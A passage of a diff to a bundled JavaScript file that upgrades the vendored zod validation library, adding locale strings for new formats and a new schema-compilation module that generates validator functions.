cidrv6: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 6 \u0631\u06CC\u0646\u062C", base64: "\u0628\u06CC\u0633 64 \u0627\u0646 \u06A9\u0648\u0688\u0688 \u0633\u0679\u0631\u0646\u06AF", base64url: "\u0628\u06CC\u0633 64 \u06CC\u0648 \u0622\u0631 \u0627\u06CC\u0644 \u0627\u0646 \u06A9\u0648\u0688\u0688 \u0633\u0679\u0631\u0646\u06AF", json_string: "\u062C\u06D2 \u0627\u06CC\u0633 \u0627\u0648 \u0627\u06CC\u0646 \u0633\u0679\u0631\u0646\u06AF", e164: "\u0627\u06CC 164 \u0646\u0645\u0628\u0631", + credit_card: "\u06A9\u0631\u06CC\u0688\u0679 \u06A9\u0627\u0631\u0688 \u0646\u0645\u0628\u0631", + currency_code: "\u06A9\u0631\u0646\u0633\u06CC \u06A9\u0648\u0688", + iban: "IBAN", jwt: "\u062C\u06D2 \u0688\u0628\u0644\u06CC\u0648 \u0679\u06CC", template_literal: "\u0627\u0646 \u067E\u0679" }; @@ -64494,12 +67043,12 @@ var error45 = () => { }; function ur_default() { return { - localeError: error45() + localeError: error56() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/uz.js -var error46 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/uz.js +var error57 = () => { const Sizable = { string: { unit: "belgi", verb: "bo\u2018lishi kerak" }, file: { unit: "bayt", verb: "bo\u2018lishi kerak" }, @@ -64538,6 +67087,9 @@ var error46 = () => { base64url: "base64url kodlangan satr", json_string: "JSON satr", e164: "E.164 raqam", + credit_card: "kredit karta raqami", + currency_code: "valyuta kodi", + iban: "IBAN", jwt: "JWT", template_literal: "kirish" }; @@ -64605,17 +67157,18 @@ var error46 = () => { }; function uz_default() { return { - localeError: error46() + localeError: error57() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/vi.js -var error47 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/vi.js +var error58 = () => { const Sizable = { string: { unit: "k\xFD t\u1EF1", verb: "c\xF3" }, file: { unit: "byte", verb: "c\xF3" }, array: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" }, - set: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" } + set: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" }, + map: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64641,12 +67194,16 @@ var error47 = () => { duration: "kho\u1EA3ng th\u1EDDi gian ISO", ipv4: "\u0111\u1ECBa ch\u1EC9 IPv4", ipv6: "\u0111\u1ECBa ch\u1EC9 IPv6", + mac: "\u0111\u1ECBa ch\u1EC9 MAC", cidrv4: "d\u1EA3i IPv4", cidrv6: "d\u1EA3i IPv6", base64: "chu\u1ED7i m\xE3 h\xF3a base64", base64url: "chu\u1ED7i m\xE3 h\xF3a base64url", json_string: "chu\u1ED7i JSON", e164: "s\u1ED1 E.164", + credit_card: "s\u1ED1 th\u1EBB t\xEDn d\u1EE5ng", + currency_code: "m\xE3 ti\u1EC1n t\u1EC7", + iban: "IBAN", jwt: "JWT", template_literal: "\u0111\u1EA7u v\xE0o" }; @@ -64714,17 +67271,18 @@ var error47 = () => { }; function vi_default() { return { - localeError: error47() + localeError: error58() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/zh-CN.js -var error48 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/zh-CN.js +var error59 = () => { const Sizable = { string: { unit: "\u5B57\u7B26", verb: "\u5305\u542B" }, file: { unit: "\u5B57\u8282", verb: "\u5305\u542B" }, array: { unit: "\u9879", verb: "\u5305\u542B" }, - set: { unit: "\u9879", verb: "\u5305\u542B" } + set: { unit: "\u9879", verb: "\u5305\u542B" }, + map: { unit: "\u9879", verb: "\u5305\u542B" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64750,12 +67308,16 @@ var error48 = () => { duration: "ISO\u65F6\u957F", ipv4: "IPv4\u5730\u5740", ipv6: "IPv6\u5730\u5740", + mac: "MAC\u5730\u5740", cidrv4: "IPv4\u7F51\u6BB5", cidrv6: "IPv6\u7F51\u6BB5", base64: "base64\u7F16\u7801\u5B57\u7B26\u4E32", base64url: "base64url\u7F16\u7801\u5B57\u7B26\u4E32", json_string: "JSON\u5B57\u7B26\u4E32", e164: "E.164\u53F7\u7801", + credit_card: "\u4FE1\u7528\u5361\u53F7", + currency_code: "\u8D27\u5E01\u4EE3\u7801", + iban: "IBAN", jwt: "JWT", template_literal: "\u8F93\u5165" }; @@ -64824,17 +67386,18 @@ var error48 = () => { }; function zh_CN_default() { return { - localeError: error48() + localeError: error59() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/zh-TW.js -var error49 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/zh-TW.js +var error60 = () => { const Sizable = { string: { unit: "\u5B57\u5143", verb: "\u64C1\u6709" }, file: { unit: "\u4F4D\u5143\u7D44", verb: "\u64C1\u6709" }, array: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" }, - set: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" } + set: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" }, + map: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64860,12 +67423,16 @@ var error49 = () => { duration: "ISO \u671F\u9593", ipv4: "IPv4 \u4F4D\u5740", ipv6: "IPv6 \u4F4D\u5740", + mac: "MAC \u4F4D\u5740", cidrv4: "IPv4 \u7BC4\u570D", cidrv6: "IPv6 \u7BC4\u570D", base64: "base64 \u7DE8\u78BC\u5B57\u4E32", base64url: "base64url \u7DE8\u78BC\u5B57\u4E32", json_string: "JSON \u5B57\u4E32", e164: "E.164 \u6578\u503C", + credit_card: "\u4FE1\u7528\u5361\u865F", + currency_code: "\u8CA8\u5E63\u4EE3\u78BC", + iban: "IBAN", jwt: "JWT", template_literal: "\u8F38\u5165" }; @@ -64932,17 +67499,18 @@ var error49 = () => { }; function zh_TW_default() { return { - localeError: error49() + localeError: error60() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/yo.js -var error50 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/yo.js +var error61 = () => { const Sizable = { string: { unit: "\xE0mi", verb: "n\xED" }, file: { unit: "bytes", verb: "n\xED" }, array: { unit: "nkan", verb: "n\xED" }, - set: { unit: "nkan", verb: "n\xED" } + set: { unit: "nkan", verb: "n\xED" }, + map: { unit: "nkan", verb: "n\xED" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64968,12 +67536,16 @@ var error50 = () => { duration: "\xE0k\xF3k\xF2 t\xF3 p\xE9 ISO", ipv4: "\xE0d\xEDr\u1EB9\u0301s\xEC IPv4", ipv6: "\xE0d\xEDr\u1EB9\u0301s\xEC IPv6", + mac: "\xE0d\xEDr\u1EB9\u0301s\xEC MAC", cidrv4: "\xE0gb\xE8gb\xE8 IPv4", cidrv6: "\xE0gb\xE8gb\xE8 IPv6", base64: "\u1ECD\u0300r\u1ECD\u0300 t\xED a k\u1ECD\u0301 n\xED base64", base64url: "\u1ECD\u0300r\u1ECD\u0300 base64url", json_string: "\u1ECD\u0300r\u1ECD\u0300 JSON", e164: "n\u1ECD\u0301mb\xE0 E.164", + credit_card: "n\u1ECDmba kaadi gbese", + currency_code: "koodu ow\xF3", + iban: "IBAN", jwt: "JWT", template_literal: "\u1EB9\u0300r\u1ECD \xECb\xE1w\u1ECDl\xE9" }; @@ -65040,14 +67612,14 @@ var error50 = () => { }; function yo_default() { return { - localeError: error50() + localeError: error61() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/registries.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/registries.js var _a2; -var $output = Symbol("ZodOutput"); -var $input = Symbol("ZodInput"); +var $output = /* @__PURE__ */ Symbol("ZodOutput"); +var $input = /* @__PURE__ */ Symbol("ZodInput"); var $ZodRegistry = class { constructor() { this._map = /* @__PURE__ */ new WeakMap(); @@ -65094,21 +67666,1624 @@ function registry() { (_a2 = globalThis).__zod_globalRegistry ?? (_a2.__zod_globalRegistry = registry()); var globalRegistry = globalThis.__zod_globalRegistry; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/api.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/compile.js +var INVALID = Symbol.for("zod.compile.invalid"); +var FALLBACK_FLAG = Symbol.for("zod.compile.fallback"); +var ZodCompileAsyncError = class extends Error { + constructor(message2 = "z.compile does not support async refinements, transforms, or checks") { + super(message2); + this.name = "ZodCompileAsyncError"; + } +}; +var ZodCompileUnsupportedError = class extends Error { + constructor(feature, islandable = true) { + super(`z.compile does not support ${feature}; this schema must use the runtime parser`); + this.name = "ZodCompileUnsupportedError"; + this.islandable = islandable; + } +}; +function compileValidator(schema, parser) { + try { + return compileFn(schema, { assertOnly: true }); + } catch { + return parser; + } +} +function compile(schema, options) { + try { + const parser = compileFn(schema); + const clone2 = withParser(schema, parser); + clone2._zod.bag.validator = compileValidator(schema, parser); + return clone2; + } catch (err) { + if (options?.strict) + throw err; + return schema; + } +} +function withParser(schema, parser) { + if (isRecursiveSchema(schema)) { + throw new ZodCompileUnsupportedError("a schema whose subtree contains a reference cycle"); + } + const clone2 = clone(schema); + const liveRun = schema._zod.run; + const originalRun = liveRun.__originalRun ?? liveRun; + const wrapped = (payload, ctx) => { + if (ctx?.async || ctx?.direction === "backward" || ctx?.skipChecks || ctx?.[FALLBACK_FLAG]) { + return originalRun(payload, ctx); + } + if (ctx && isBackEdge(ctx, payload.value)) { + return originalRun(payload, ctx); + } + const out = parser(payload.value); + if (out !== INVALID) { + payload.value = out; + return payload; + } + if (ctx) + ctx[FALLBACK_FLAG] = true; + return originalRun(payload, ctx); + }; + wrapped.__originalRun = originalRun; + clone2._zod.bag.fallbackRun = originalRun; + clone2._zod.bag.validator = parser; + clone2._zod.run = wrapped; + if (!liveRun.__originalRun) + installCompiledUserMethods(clone2, schema, parser); + return clone2; +} +function installCompiledUserMethods(target, source, parser) { + const targetAny = target; + const sourceAny = source; + if (typeof sourceAny.safeParse === "function") { + const originalSafeParse = sourceAny.safeParse; + targetAny.safeParse = (data, params) => { + const out = parser(data); + if (out !== INVALID) { + return { success: true, data: out }; + } + return originalSafeParse(data, params); + }; + } + if (typeof sourceAny.parse === "function") { + const originalParse = sourceAny.parse; + targetAny.parse = (data, params) => { + const out = parser(data); + if (out !== INVALID) { + return out; + } + return originalParse(data, params); + }; + } +} +function compileFn(schema, options) { + let recursive2 = true; + try { + recursive2 = isRecursiveSchema(schema); + } catch { + } + if (recursive2) { + throw new ZodCompileUnsupportedError("a schema whose subtree contains a reference cycle"); + } + const ctx = { + constants: /* @__PURE__ */ new Map(), + constantCounter: 0, + varCounter: 0, + definite: true + }; + const doc = new Doc(["input"]); + const outputAccessor = generateCheck(doc, ctx, schema, "input", !options?.assertOnly); + doc.write(outputAccessor === null ? `return true;` : `return ${outputAccessor};`); + const constantNames = ["INVALID", ...ctx.constants.keys()]; + const constantValues = [INVALID, ...ctx.constants.values()]; + const code = doc.content.join("\n"); + const fullCode = options?.debug ? constantNames.length > 0 ? `// Constants: ${constantNames.join(", ")} +${code}` : code : ""; + const F = Function; + const factoryCode = `return (input) => { +${code} +}`; + let fn; + try { + const factory = new F(...constantNames, factoryCode); + fn = factory(...constantValues); + } catch (err) { + throw new ZodCompileUnsupportedError(`this schema (generated code failed to evaluate: ${err.message})`); + } + if (options?.debug) { + fn.code = fullCode; + } + fn.definite = ctx.definite; + return fn; +} +function addConstant(ctx, value) { + for (const [name2, v] of ctx.constants) { + if (v === value) + return name2; + } + const name = `c${ctx.constantCounter++}`; + ctx.constants.set(name, value); + return name; +} +function addUserConstant(ctx, fn) { + ctx.definite = false; + return addConstant(ctx, fn); +} +function newVar(ctx) { + return `v${ctx.varCounter++}`; +} +function runtimeRun(schema, value) { + const result = schema._zod.run({ value, issues: [] }, {}); + if (result && typeof result.then === "function") + return INVALID; + const r = result; + return r.issues.length === 0 ? r.value : INVALID; +} +function compileChild(doc, ctx, schema, accessor, needsValue = true) { + const contentLen = doc.content.length; + const constantCount = ctx.constants.size; + const constantCounter = ctx.constantCounter; + const varCounter = ctx.varCounter; + try { + return generateCheck(doc, ctx, schema, accessor, needsValue); + } catch (err) { + if (!(err instanceof ZodCompileUnsupportedError) || !err.islandable) + throw err; + doc.content.length = contentLen; + if (ctx.constants.size > constantCount) { + const trailing = Array.from(ctx.constants.keys()).slice(constantCount); + for (const k of trailing) + ctx.constants.delete(k); + } + ctx.constantCounter = constantCounter; + ctx.varCounter = varCounter; + return emitRuntimeIsland(doc, ctx, schema, accessor); + } +} +function emitRuntimeIsland(doc, ctx, schema, accessor) { + ctx.definite = false; + const schemaConst = addConstant(ctx, schema); + const runConst = addConstant(ctx, runtimeRun); + const outVar = newVar(ctx); + doc.write(`const ${outVar} = ${runConst}(${schemaConst}, ${accessor});`); + doc.write(`if (${outVar} === INVALID) return INVALID;`); + return outVar; +} +var WHEN_DEFAULTED_CHECKS = /* @__PURE__ */ new Set([ + "max_size", + "min_size", + "size_equals", + "max_length", + "min_length", + "length_equals" +]); +function generateChecks(doc, ctx, schema, accessor) { + const schemaChecks = schema._zod.def.checks; + if (!schemaChecks || schemaChecks.length === 0) + return accessor; + let currentAccessor = accessor; + for (const check3 of schemaChecks) { + const def = check3._zod.def; + if (def.when && !WHEN_DEFAULTED_CHECKS.has(def.check)) { + throw new ZodCompileUnsupportedError(`check with a custom "when" condition`); + } + switch (def.check) { + case "greater_than": + generateGreaterThanCheck(doc, ctx, def, currentAccessor); + break; + case "less_than": + generateLessThanCheck(doc, ctx, def, currentAccessor); + break; + case "multiple_of": + generateMultipleOfCheck(doc, ctx, def, currentAccessor); + break; + case "number_format": + generateNumberFormatCheck(doc, def, currentAccessor); + break; + case "min_length": { + const min = numericOperand(def.minimum, "min_length"); + const len = codePointLengthVar(doc, ctx, currentAccessor, `${currentAccessor}.length >= ${min} && ${currentAccessor}.length < ${def.minimum * 2}`); + doc.write(`if (${len} < ${min}) return INVALID;`); + break; + } + case "max_length": { + const max = numericOperand(def.maximum, "max_length"); + const len = codePointLengthVar(doc, ctx, currentAccessor, `${currentAccessor}.length > ${max}`); + doc.write(`if (${len} > ${max}) return INVALID;`); + break; + } + case "length_equals": { + const exact = numericOperand(def.length, "length_equals"); + const len = codePointLengthVar(doc, ctx, currentAccessor, `${currentAccessor}.length >= ${exact} && ${currentAccessor}.length <= ${def.length * 2}`); + doc.write(`if (${len} !== ${exact}) return INVALID;`); + break; + } + case "min_size": + doc.write(`if (${currentAccessor}.size < ${numericOperand(def.minimum, "min_size")}) return INVALID;`); + break; + case "max_size": + doc.write(`if (${currentAccessor}.size > ${numericOperand(def.maximum, "max_size")}) return INVALID;`); + break; + case "size_equals": + doc.write(`if (${currentAccessor}.size !== ${numericOperand(def.size, "size_equals")}) return INVALID;`); + break; + case "string_format": + currentAccessor = generateStringFormatCheck(doc, ctx, def, currentAccessor); + break; + case "custom": + currentAccessor = generateCustomRefineCheck(doc, ctx, check3, currentAccessor); + break; + case "bigint_format": + generateBigIntFormatCheck(doc, def, currentAccessor); + break; + case "mime_type": + generateMimeTypeCheck(doc, ctx, def, currentAccessor); + break; + case "property": + generatePropertyCheck(doc, ctx, def, currentAccessor); + break; + case "properties": + generatePropertiesChecks(doc, ctx, def, currentAccessor); + break; + case "overwrite": { + const newAccessor = newVar(ctx); + generateOverwriteCheck(doc, ctx, check3, currentAccessor, newAccessor); + currentAccessor = newAccessor; + break; + } + default: { + throw new ZodCompileUnsupportedError(`check type ${def.check}`); + } + } + } + return currentAccessor; +} +function codePointLengthVar(doc, ctx, accessor, inDoubt) { + const cpLen = addConstant(ctx, codePointLength); + const v = newVar(ctx); + doc.write(`const ${v} = typeof ${accessor} === "string" && ${inDoubt} ? ${cpLen}(${accessor}) : ${accessor}.length;`); + return v; +} +function numericOperand(value, label) { + if (typeof value !== "number" || !Number.isFinite(value)) { + throw new ZodCompileUnsupportedError(`${label} bound of type ${typeof value}`); + } + return `${value}`; +} +function comparisonOperand(ctx, value) { + if (typeof value === "bigint") + return `${value}n`; + if (typeof value === "number") { + if (Number.isNaN(value)) + throw new ZodCompileUnsupportedError("comparison check with NaN bound"); + return `${value}`; + } + if (value instanceof Date) { + if (Number.isNaN(value.getTime())) { + throw new ZodCompileUnsupportedError("comparison check with Invalid Date bound"); + } + return addConstant(ctx, value); + } + throw new ZodCompileUnsupportedError(`comparison check bound of type ${typeof value}`); +} +function generateGreaterThanCheck(doc, ctx, def, accessor) { + const op = def.inclusive ? "<" : "<="; + doc.write(`if (${accessor} ${op} ${comparisonOperand(ctx, def.value)}) return INVALID;`); +} +function generateLessThanCheck(doc, ctx, def, accessor) { + const op = def.inclusive ? ">" : ">="; + doc.write(`if (${accessor} ${op} ${comparisonOperand(ctx, def.value)}) return INVALID;`); +} +function generateMultipleOfCheck(doc, ctx, def, accessor) { + if (typeof def.value === "bigint") { + if (def.value === BigInt(0)) + throw new ZodCompileUnsupportedError("multiple_of check with a zero divisor"); + doc.write(`if (${accessor} % ${def.value}n !== 0n) return INVALID;`); + } else { + const remainder = addConstant(ctx, floatSafeRemainder); + doc.write(`if (${remainder}(${accessor}, ${numericOperand(def.value, "multiple_of")}) !== 0) return INVALID;`); + } +} +function generateNumberFormatCheck(doc, def, accessor) { + const format = def.format; + switch (format) { + case "safeint": + doc.write(`if (!Number.isSafeInteger(${accessor})) return INVALID;`); + break; + case "int32": + doc.write(`if (!Number.isInteger(${accessor}) || ${accessor} < -2147483648 || ${accessor} > 2147483647) return INVALID;`); + break; + case "uint32": + doc.write(`if (!Number.isInteger(${accessor}) || ${accessor} < 0 || ${accessor} > 4294967295) return INVALID;`); + break; + case "float32": + doc.write(`if (!Number.isFinite(${accessor}) || ${accessor} < -3.4028234663852886e38 || ${accessor} > 3.4028234663852886e38) return INVALID;`); + break; + case "float64": + doc.write(`if (!Number.isFinite(${accessor})) return INVALID;`); + break; + default: { + throw new ZodCompileUnsupportedError(`number format ${format}`); + } + } +} +function generateBigIntFormatCheck(doc, def, accessor) { + const format = def.format; + if (!format) + return; + switch (format) { + case "int64": + doc.write(`if (${accessor} < -9223372036854775808n || ${accessor} > 9223372036854775807n) return INVALID;`); + break; + case "uint64": + doc.write(`if (${accessor} < 0n || ${accessor} > 18446744073709551615n) return INVALID;`); + break; + default: { + throw new ZodCompileUnsupportedError(`bigint format ${format}`); + } + } +} +function generateMimeTypeCheck(doc, ctx, def, accessor) { + const mimeTypes = def.mime; + if (mimeTypes && mimeTypes.length > 0) { + const mimeSet = addConstant(ctx, new Set(mimeTypes)); + doc.write(`if (!${mimeSet}.has(${accessor}.type)) return INVALID;`); + } +} +function generatePropertiesChecks(doc, ctx, def, accessor) { + if (def.when) { + throw new ZodCompileUnsupportedError(`check with a custom "when" condition`); + } + doc.write(`if (${accessor} == null) return INVALID;`); + const shape = def.shape; + for (const key of Reflect.ownKeys(shape)) { + const keyExpr = typeof key === "symbol" ? addConstant(ctx, key) : esc(key); + const inputVar = newVar(ctx); + doc.write(`const ${inputVar} = ${accessor}[${keyExpr}];`); + compileChild(doc, ctx, shape[key], inputVar, false); + } +} +function generatePropertyCheck(doc, ctx, def, accessor) { + const propAccessor = `${accessor}[${JSON.stringify(def.property)}]`; + generateCheck(doc, ctx, def.schema, propAccessor); +} +function generateOverwriteCheck(doc, ctx, check3, currentAccessor, newAccessor) { + const tx = check3._zod.def.tx; + if (!tx) { + throw new ZodCompileUnsupportedError("overwrite check without a transform function"); + } + if (isAsyncFunction(tx)) { + throw new ZodCompileAsyncError("z.compile: async overwrite transforms are not supported"); + } + const txConst = addConstant(ctx, tx); + doc.write(`const ${newAccessor} = ${txConst}(${currentAccessor});`); +} +function throwAsync() { + throw new $ZodAsyncError(); +} +function pushIssue(issue2) { + this.issues.push(issue2); +} +function generateCustomRefineCheck(doc, ctx, check3, accessor) { + const def = check3._zod.def; + if (def.fn) { + if (isAsyncFunction(def.fn)) { + throw new ZodCompileAsyncError("z.compile: async .refine() predicates are not supported"); + } + const fnConst = addUserConstant(ctx, def.fn); + const throwAsyncConst = addConstant(ctx, throwAsync); + const resVar = newVar(ctx); + doc.write(`const ${resVar} = ${fnConst}(${accessor});`); + doc.write(`if (${resVar} instanceof Promise) ${throwAsyncConst}();`); + doc.write(`if (!${resVar}) return INVALID;`); + return accessor; + } + if (check3._zod.check) { + if (isAsyncFunction(check3._zod.check)) { + throw new ZodCompileAsyncError("z.compile: async .superRefine() / check functions are not supported"); + } + const checkFn = check3._zod.check; + const helperFn = (value) => { + const fakePayload = { value, issues: [], addIssue: pushIssue }; + const result = checkFn(fakePayload); + if (result instanceof Promise) + throwAsync(); + return fakePayload.issues.length === 0 ? fakePayload.value : INVALID; + }; + const helperConst = addUserConstant(ctx, helperFn); + const outVar = newVar(ctx); + doc.write(`const ${outVar} = ${helperConst}(${accessor});`); + doc.write(`if (${outVar} === INVALID) return INVALID;`); + return outVar; + } + throw new ZodCompileUnsupportedError("custom check without a predicate or check function"); +} +var PATTERN_IS_COMPLETE = /* @__PURE__ */ new Set([ + "cidrv4", + "cuid", + "cuid2", + "date", + "datetime", + "duration", + "e164", + "email", + "emoji", + "ends_with", + "guid", + "includes", + "ipv4", + "ksuid", + "lowercase", + "mac", + "nanoid", + "regex", + "starts_with", + "time", + "ulid", + "uppercase", + "uuid", + "xid" +]); +function generateStringFormatCheck(doc, ctx, def, accessor, needsValue = true) { + const fmt = def.format; + if (fmt === "base64") { + const validator = addConstant(ctx, isValidBase64); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "base64url") { + const validator = addConstant(ctx, isValidBase64URL); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "jwt") { + const validator = addConstant(ctx, isValidJWT); + const alg = addConstant(ctx, def.alg ?? null); + doc.write(`if (!${validator}(${accessor}, ${alg})) return INVALID;`); + return accessor; + } + if (fmt === "ipv6") { + const validator = addConstant(ctx, isValidIPv6); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "cidrv6") { + const validator = addConstant(ctx, isValidCIDRv6); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "credit_card") { + const validator = addConstant(ctx, isValidCreditCard); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "iban") { + const validator = addConstant(ctx, isValidIBAN); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + const formatDef = def; + if (fmt === "url" || fmt === "httpurl" || formatDef.normalize || formatDef.hostname !== void 0 || formatDef.protocol !== void 0) { + const parseConst = addConstant(ctx, validateURL); + const defConst = addConstant(ctx, def); + const trimVar = newVar(ctx); + const urlVar = newVar(ctx); + doc.write(`const ${trimVar} = ${accessor}.trim();`); + doc.write(`const ${urlVar} = ${parseConst}(${trimVar}, ${defConst});`); + doc.write(`if (typeof ${urlVar} === "number") return INVALID;`); + if (formatDef.hostname !== void 0) { + const hostnameConst = addConstant(ctx, urlHostnameOk); + doc.write(`if (!${hostnameConst}(${urlVar}, ${defConst}.hostname)) return INVALID;`); + } + if (formatDef.protocol !== void 0) { + const protocolConst = addConstant(ctx, urlProtocolOk); + doc.write(`if (!${protocolConst}(${urlVar}, ${defConst}.protocol)) return INVALID;`); + } + if (!needsValue) + return null; + const outputVar = newVar(ctx); + const outputExpr = formatDef.normalize ? `${urlVar}.href` : `${addConstant(ctx, stripTabAndNewline)}(${trimVar})`; + doc.write(`const ${outputVar} = ${outputExpr};`); + return outputVar; + } + const customFn = def.fn; + if (customFn) { + if (isAsyncFunction(customFn)) + throw new ZodCompileUnsupportedError(`async string format ${fmt}`); + const fnConst = addConstant(ctx, customFn); + doc.write(`if (!${fnConst}(${accessor})) return INVALID;`); + return accessor; + } + if (PATTERN_IS_COMPLETE.has(fmt) && def.pattern) { + const patternConst = addConstant(ctx, def.pattern); + doc.write(`${patternConst}.lastIndex = 0;`); + doc.write(`if (!${patternConst}.test(${accessor})) return INVALID;`); + return accessor; + } + const format = def.format; + switch (format) { + case "regex": + throw new ZodCompileUnsupportedError("regex format without a pattern"); + case "lowercase": + doc.write(`if (${accessor} !== ${accessor}.toLowerCase()) return INVALID;`); + break; + case "uppercase": + doc.write(`if (${accessor} !== ${accessor}.toUpperCase()) return INVALID;`); + break; + case "includes": + doc.write(`if (!${accessor}.includes(${esc(def.includes)})) return INVALID;`); + break; + case "starts_with": { + const prefix = def.prefix; + doc.write(`if (${accessor}.slice(0, ${prefix.length}) !== ${esc(prefix)}) return INVALID;`); + break; + } + case "ends_with": { + const suffix = def.suffix; + doc.write(`if (${accessor}.slice(-${suffix.length}) !== ${esc(suffix)}) return INVALID;`); + break; + } + default: { + throw new ZodCompileUnsupportedError(`string format ${format}`); + } + } + return accessor; +} +function generateCheck(doc, ctx, schema, accessor, needsValue = true) { + const def = schema._zod.def; + const type = def.type; + if (def.coerce) { + throw new ZodCompileUnsupportedError(`coercion (z.coerce.${type}())`); + } + const buildsValue = needsValue || !!def.checks?.length; + let typeAccessor; + switch (type) { + case "string": + typeAccessor = generateStringCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "number": + typeAccessor = generateNumberCheck(doc, schema, accessor); + break; + case "boolean": + typeAccessor = generateBooleanCheck(doc, accessor); + break; + case "bigint": + typeAccessor = generateBigIntCheck(doc, schema, accessor); + break; + case "symbol": + typeAccessor = generateSymbolCheck(doc, accessor); + break; + case "undefined": + typeAccessor = generateUndefinedCheck(doc, accessor); + break; + case "null": + typeAccessor = generateNullCheck(doc, accessor); + break; + case "any": + case "unknown": + typeAccessor = accessor; + break; + case "never": + doc.write("return INVALID;"); + typeAccessor = accessor; + break; + case "void": + typeAccessor = generateVoidCheck(doc, accessor); + break; + case "nan": + typeAccessor = generateNaNCheck(doc, accessor); + break; + case "date": + typeAccessor = generateDateCheck(doc, accessor); + break; + case "object": + typeAccessor = generateObjectCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "optional": + typeAccessor = generateOptionalCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "nullable": + typeAccessor = generateNullableCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "array": + typeAccessor = generateArrayCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "literal": + typeAccessor = generateLiteralCheck(doc, ctx, schema, accessor); + break; + case "enum": + typeAccessor = generateEnumCheck(doc, ctx, schema, accessor); + break; + case "readonly": { + const innerOut = generateWrapperCheck(doc, ctx, schema, accessor); + const frozenVar = newVar(ctx); + doc.write(`const ${frozenVar} = Object.freeze(${innerOut});`); + typeAccessor = frozenVar; + break; + } + case "success": + generateWrapperCheck(doc, ctx, schema, accessor); + typeAccessor = "true"; + break; + case "default": + case "prefault": + typeAccessor = generateDefaultCheck(doc, ctx, schema, accessor); + break; + case "nonoptional": + typeAccessor = generateNonOptionalCheck(doc, ctx, schema, accessor); + break; + case "tuple": + typeAccessor = generateTupleCheck(doc, ctx, schema, accessor); + break; + case "union": + typeAccessor = generateUnionCheck(doc, ctx, schema, accessor); + break; + case "intersection": + typeAccessor = generateIntersectionCheck(doc, ctx, schema, accessor); + break; + case "record": + typeAccessor = generateRecordCheck(doc, ctx, schema, accessor); + break; + case "map": + typeAccessor = generateMapCheck(doc, ctx, schema, accessor); + break; + case "set": + typeAccessor = generateSetCheck(doc, ctx, schema, accessor); + break; + case "file": + typeAccessor = generateFileCheck(doc, accessor); + break; + case "template_literal": + typeAccessor = generateTemplateLiteralCheck(doc, ctx, schema, accessor); + break; + case "lazy": + typeAccessor = generateLazyCheck(doc, ctx, schema, accessor); + break; + case "pipe": + typeAccessor = generatePipeCheck(doc, ctx, schema, accessor); + break; + case "custom": + typeAccessor = generateCustomCheck(doc, ctx, schema, accessor); + break; + case "transform": + typeAccessor = generateTransformCheck(doc, ctx, schema, accessor); + break; + case "catch": + typeAccessor = generateCatchCheck(doc, ctx, schema, accessor); + break; + default: { + throw new ZodCompileUnsupportedError(`schema type ${type}`); + } + } + if (typeAccessor === null) + return null; + return generateChecks(doc, ctx, schema, typeAccessor); +} +function generateStringCheck(doc, ctx, schema, accessor, needsValue = true) { + doc.write(`if (typeof ${accessor} !== "string") return INVALID;`); + const def = schema._zod.def; + if (def.format === void 0) + return accessor; + return generateStringFormatCheck(doc, ctx, def, accessor, needsValue); +} +function generateNumberCheck(doc, schema, accessor) { + doc.write(`if (typeof ${accessor} !== "number" || !Number.isFinite(${accessor})) return INVALID;`); + const def = schema._zod.def; + if (def.check === "number_format" && def.format) { + generateNumberFormatCheck(doc, { format: def.format }, accessor); + } + return accessor; +} +function generateBooleanCheck(doc, accessor) { + doc.write(`if (typeof ${accessor} !== "boolean") return INVALID;`); + return accessor; +} +function generateBigIntCheck(doc, schema, accessor) { + doc.write(`if (typeof ${accessor} !== "bigint") return INVALID;`); + const def = schema._zod.def; + if (def.format) { + switch (def.format) { + case "int64": + doc.write(`if (${accessor} < -9223372036854775808n || ${accessor} > 9223372036854775807n) return INVALID;`); + break; + case "uint64": + doc.write(`if (${accessor} < 0n || ${accessor} > 18446744073709551615n) return INVALID;`); + break; + } + } + return accessor; +} +function generateSymbolCheck(doc, accessor) { + doc.write(`if (typeof ${accessor} !== "symbol") return INVALID;`); + return accessor; +} +function generateUndefinedCheck(doc, accessor) { + 